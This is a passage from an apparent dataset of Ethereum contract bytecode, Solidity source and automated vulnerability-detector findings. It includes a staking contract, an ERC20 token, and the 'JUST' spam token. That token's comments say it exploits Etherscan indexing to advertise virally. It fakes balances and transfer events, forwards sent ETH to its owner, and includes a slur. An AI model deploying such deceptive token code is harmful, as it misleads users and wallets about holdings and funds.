9091169082156108fc029083906000818181858888f1935050505015801561135d573d6000803e3d6000fd5b5050565b60006006548211156113c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610697565b60006113d261159c565b90506113de83826115bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061142d5761142d611c83565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561148157600080fd5b505afa158015611495573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b99190611cf9565b816001815181106114cc576114cc611c83565b6001600160a01b0392831660209182029290920101526014546114f29130911684610c34565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061152b908590600090869030904290600401611d16565b600060405180830381600087803b15801561154557600080fd5b505af1158015611559573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061157b5761157b611601565b61158684848461162f565b80610ad957610ad9600e54600c55600f54600d55565b60008060006115a9611726565b90925090506115b882826115bf565b9250505090565b60006113de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611764565b600c541580156116115750600d54155b1561161857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061164187611792565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061167390876117ef565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116a29086611831565b6001600160a01b0389166000908152600260205260409020556116c481611890565b6116ce84836118da565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161171391815260200190565b60405180910390a3505050505050505050565b600654600090819066f523226980800061174082826115bf565b82101561175b5750506006549266f523226980800092509050565b90939092509050565b600081836117855760405162461bcd60e51b81526004016106979190611a22565b50600061131a8486611d87565b60008060008060008060008060006117af8a600c54600d546118fe565b92509250925060006117bf61159c565b905060008060006117d28e878787611953565b919e509c509a509598509396509194505050505091939550919395565b60006113de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e9565b60008061183e8385611cca565b9050838110156113de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610697565b600061189a61159c565b905060006118a883836119a3565b306000908152600260205260409020549091506118c59082611831565b30600090815260026020526040902055505050565b6006546118e790836117ef565b6006556007546118f79082611831565b6007555050565b6000808080611918606461191289896119a3565b906115bf565b9050600061192b60646119128a896119a3565b905060006119438261193d8b866117ef565b906117ef565b9992985090965090945050505050565b600080808061196288866119a3565b9050600061197088876119a3565b9050600061197e88886119a3565b905060006119908261193d86866117ef565b939b939a50919850919650505050505050565b6000826119b2575060006105e4565b60006119be8385611da9565b9050826119cb8583611d87565b146113de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610697565b600060208083528351808285015260005b81811015611a4f57858101830151858201604001528201611a33565b81811115611a61576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107ca57600080fd5b60008060408385031215611a9f57600080fd5b8235611aaa81611a77565b946020939093013593505050565b600080600060608486031215611acd57600080fd5b8335611ad881611a77565b92506020840135611ae881611a77565b929592945050506040919091013590565b80358015158114611b0957600080fd5b919050565b60008060408385031215611b2157600080fd5b8235611b2c81611a77565b9150611b3a60208401611af9565b90509250929050565b600060208284031215611b5557600080fd5b6113de82611af9565b600060208284031215611b7057600080fd5b81356113de81611a77565b600060208284031215611b8d57600080fd5b5035919050565b60008060008060808587031215611baa57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611bdb57600080fd5b833567ffffffffffffffff80821115611bf357600080fd5b818601915086601f830112611c0757600080fd5b813581811115611c1657600080fd5b8760208260051b8501011115611c2b57600080fd5b602092830195509350611c419186019050611af9565b90509250925092565b60008060408385031215611c5d57600080fd5b8235611c6881611a77565b91506020830135611c7881611a77565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cc357611cc3611c99565b5060010190565b60008219821115611cdd57611cdd611c99565b500190565b600082821015611cf457611cf4611c99565b500390565b600060208284031215611d0b57600080fd5b81516113de81611a77565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d665784516001600160a01b031683529383019391830191600101611d41565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611da457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dc357611dc3611c99565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a26469706673582212200bb2ab7acf8228b8c06871d1e19f8c8d8d09cd16d0a91f9ffccfe0c7387c384564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}]}}
| 5,990 |
0x73f952d5c1696ce81329aa00e7e94ee1fdf2ab68
|
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract PWTStaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// PWTStaking token contract address
address public constant tokenAddress = 0xf43E56e0Aea3E45DA7aDc13D62B846ac3c5E1c01;
// reward rate 120.00% per year
uint public constant rewardRate = 12000;
uint public constant rewardInterval = 365 days;
// staking fee 1.00 percent
uint public constant stakingFeeRate = 100;
// unstaking fee 0.10 percent
uint public constant unstakingFeeRate = 10;
// unstaking possible after 48 hours
uint public constant cliffTime = 48 hours;
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing.");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimDivs() public {
updateAccount(msg.sender);
}
uint private constant stakingAndDaoTokens = 25000e18;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getStakingAndDaoAmount()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x7373f952d5c1696ce81329aa00e7e94ee1fdf2ab6830146080604052600080fdfea2646970667358221220b65ef994b98dfc5bf5d8ad16ac851117c317bde8599a7ab5a393f25e1ed4c2d764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,991 |
0x4e817bb432a4ee6c21e8f9be7a8ca3369ed982c5
|
pragma solidity ^0.4.20;
//Harj7 is fgt ^
/*
* Team JUST presents...
__ __ __ __ __ __
/ _ / /(__/( / _ / /(__/( / _ / /(__/(
(__)(__/ / __) (__)(__/ / __) (__)(__/ / __)
,-, ,----..
,--, | : / / \ ,--,
,---.'| : ' __ ,-. .--. | : : ,---. ,--.'| ,---,
| | : _' | ,' ,'/ /|.--,`| . | ;. / ' ,'\ | |, ,-+-. / |
: : |.' | ,--.--. ' | |' || |. . ; /--` / / |`--'_ ,--.'|' |
| ' ' ; : / \ | | ,''--`_ ; | ; . ; ,. :,' ,'| | | ,"' |
' | .'. |.--. .-. |' : / ,--,'| | : | ' | |: :' | | | | / | |
| | : | ' \__\/: . .| | ' | | ' . | '___' | .; :| | : | | | | |
' : | : ; ," .--.; |; : | : | | ' ; : .'| : |' : |__ | | | |/
| | ' ,/ / / ,. || , ; __| : ' ' | '/ :\ \ / | | '.'|| | |--'
; : ;--' ; : .' \---'.'__/\_: | | : / `----' ; : ;| |/
| ,/ | , .-./ | : : \ \ .' | , / '---'
'---' `--`---' \ \ / `---` ---`-'
`--`-'
* -> What?
* [x] If you are reading this it means you have been JUSTED
* [x] It looks like an exploit in the way ERC20 is indexed on Etherscan allows malicious users to virally advertise by deploying contracts that look like this.
* [x] You pretty much own this token forever, with nothing you can do about it until we pull the UNJUST() function.
* [x] Just try to transfer it away, we dare you!
* [x] It's kinda like shitposting on the blockchain
* [x] Pls fix Papa Vitalik
* [x] Also we love your shirts.
*
*
* Also we're required to virally advertise Harj7#5654,discord tag guys.
* Sorry its a requirement
* You understand
*
* Brought to you by the one of helper of team of Powh.io
* The first three dimensional cryptocurrency.
* https://discord.gg/KJ9wJG8
*/
contract ERC20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract HarjCoin is ERC20Interface {
// Standard ERC20
string public name = "JUST www.powh.io";
uint8 public decimals = 18;
string public symbol = "JUST powh.io";
// Default balance
uint256 public stdBalance;
mapping (address => uint256) public bonus;
// Owner
address public owner;
bool public JUSTed;
// PSA
event Message(string message);
function JUST()
public
{
owner = msg.sender;
totalSupply = 1337 * 1e18;
stdBalance = 7 * 1e18;
JUSTed = true;
}
/**
* Due to the presence of this function, it is considered a valid ERC20 token.
* However, due to a lack of actual functionality to support this function, you can never remove this token from your balance.
* RIP.
*/
function transfer(address _to, uint256 _value)
public
returns (bool success)
{
bonus[msg.sender] = bonus[msg.sender] + 1e18;
Message("+1 token for you.");
Transfer(msg.sender, _to, _value);
return true;
}
/**
* Due to the presence of this function, it is considered a valid ERC20 token.
* However, due to a lack of actual functionality to support this function, you can never remove this token from your balance.
* RIP.
*/
function transferFrom(address _from, address _to, uint256 _value)
public
returns (bool success)
{
bonus[msg.sender] = bonus[msg.sender] + 1e18;
Message("+1 token for you.");
Transfer(msg.sender, _to, _value);
return true;
}
/**
* Once we have sufficiently demonstrated how this 'exploit' is detrimental to Etherescan, we can disable the token and remove it from everyone's balance.
* Our intention for this "token" is to prevent a similar but more harmful project in the future that doesn't have your best intentions in mind.
*/
function UNJUST(string _name, string _symbol, uint256 _stdBalance, uint256 _totalSupply, bool _JUSTed)
public
{
require(owner == msg.sender);
name = _name;
symbol = _symbol;
stdBalance = _stdBalance;
totalSupply = _totalSupply;
JUSTed = _JUSTed;
}
/**
* Everyone has tokens!
* ... until we decide you don't.
*/
function balanceOf(address _owner)
public
view
returns (uint256 balance)
{
if(JUSTed){
if(bonus[msg.sender] > 0){
return stdBalance + bonus[msg.sender];
} else {
return stdBalance;
}
} else {
return 0;
}
}
function approve(address _spender, uint256 _value)
public
returns (bool success)
{
return true;
}
function allowance(address _owner, address _spender)
public
view
returns (uint256 remaining)
{
return 0;
}
// in case someone accidentally sends ETH to this contract.
function()
public
payable
{
owner.transfer(this.balance);
Message("Thanks for your donation.");
}
// in case some accidentally sends other tokens to this contract.
function rescueTokens(address _address, uint256 _amount)
public
returns (bool)
{
return ERC20Interface(_address).transfer(owner, _amount);
}
}
|
0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610185578063095ea7b31461020f5780630da86f7f1461024557806318160ddd1461025857806323b872dd1461027d578063313ce567146102a557806357376198146102ce57806370a08231146102f05780637ecfb6751461030f5780638da5cb5b1461032257806395d89b41146103515780639954cf2214610364578063a9059cbb14610379578063d8cb4aa31461039b578063dd62ed3e146103ba578063fdbb9fdb146103df575b600654600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561011e57600080fd5b7f51a7f65c6325882f237d4aeb43228179cfad48b868511d508e24b4437a81913760405160208082526019908201527f5468616e6b7320666f7220796f757220646f6e6174696f6e2e000000000000006040808301919091526060909101905180910390a1005b341561019057600080fd5b610198610481565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d45780820151838201526020016101bc565b50505050905090810190601f1680156102015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021a57600080fd5b610231600160a060020a036004351660243561051f565b604051901515815260200160405180910390f35b341561025057600080fd5b610231610527565b341561026357600080fd5b61026b610537565b60405190815260200160405180910390f35b341561028857600080fd5b610231600160a060020a036004358116906024351660443561053d565b34156102b057600080fd5b6102b8610619565b60405160ff909116815260200160405180910390f35b34156102d957600080fd5b610231600160a060020a0360043516602435610622565b34156102fb57600080fd5b61026b600160a060020a03600435166106c1565b341561031a57600080fd5b61026b61072a565b341561032d57600080fd5b610335610730565b604051600160a060020a03909116815260200160405180910390f35b341561035c57600080fd5b61019861073f565b341561036f57600080fd5b6103776107aa565b005b341561038457600080fd5b610231600160a060020a036004351660243561080d565b34156103a657600080fd5b61026b600160a060020a03600435166108e8565b34156103c557600080fd5b61026b600160a060020a03600435811690602435166108fa565b34156103ea57600080fd5b61037760046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965050843594602081013594506040013515159250610902915050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105175780601f106104ec57610100808354040283529160200191610517565b820191906000526020600020905b8154815290600101906020018083116104fa57829003601f168201915b505050505081565b600192915050565b60065460a060020a900460ff1681565b60005481565b600160a060020a0333166000908152600560205260408082208054670de0b6b3a76400000190557f51a7f65c6325882f237d4aeb43228179cfad48b868511d508e24b4437a819137905160208082526011908201527f2b3120746f6b656e20666f7220796f752e0000000000000000000000000000006040808301919091526060909101905180910390a182600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060019392505050565b60025460ff1681565b600654600090600160a060020a038085169163a9059cbb91168484604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156106a057600080fd5b6102c65a03f115156106b157600080fd5b5050506040518051949350505050565b60065460009060a060020a900460ff161561072157600160a060020a03331660009081526005602052604081205411156107185750600160a060020a03331660009081526005602052604090205460045401610725565b50600454610725565b5060005b919050565b60045481565b600654600160a060020a031681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105175780601f106104ec57610100808354040283529160200191610517565b6006805468487a9a304539440000600055676124fee993bc000060045560a060020a73ffffffffffffffffffffffffffffffffffffffff1990911633600160a060020a03161774ff00000000000000000000000000000000000000001916179055565b600160a060020a0333166000908152600560205260408082208054670de0b6b3a76400000190557f51a7f65c6325882f237d4aeb43228179cfad48b868511d508e24b4437a819137905160208082526011908201527f2b3120746f6b656e20666f7220796f752e0000000000000000000000000000006040808301919091526060909101905180910390a182600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b60056020526000908152604090205481565b600092915050565b60065433600160a060020a0390811691161461091d57600080fd5b600185805161093092916020019061097f565b50600384805161094492916020019061097f565b506004929092556000556006805491151560a060020a0274ff0000000000000000000000000000000000000000199092169190911790555050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106109c057805160ff19168380011785556109ed565b828001600101855582156109ed579182015b828111156109ed5782518255916020019190600101906109d2565b506109f99291506109fd565b5090565b610a1791905b808211156109f95760008155600101610a03565b905600a165627a7a72305820ebe558fd62844fcf336220e9d4be743a6b278df176e6575847def1d991c57ba60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,992 |
0x27a78adc328b1e215e5cd025b57a40dd6a7cde97
|
/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = 0x50Ff3BA4Bb0e909c6B0C3B593746438170c4306f;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract StemCell is Ownable, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = '1 StemCell';
_symbol = '1SCT';
_totalSupply= 100000000000 *(10**decimals());
_balances[owner()]=_totalSupply;
emit Transfer(address(0),owner(),_totalSupply);
}
/**
* @dev Returns the name of the token.
*
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
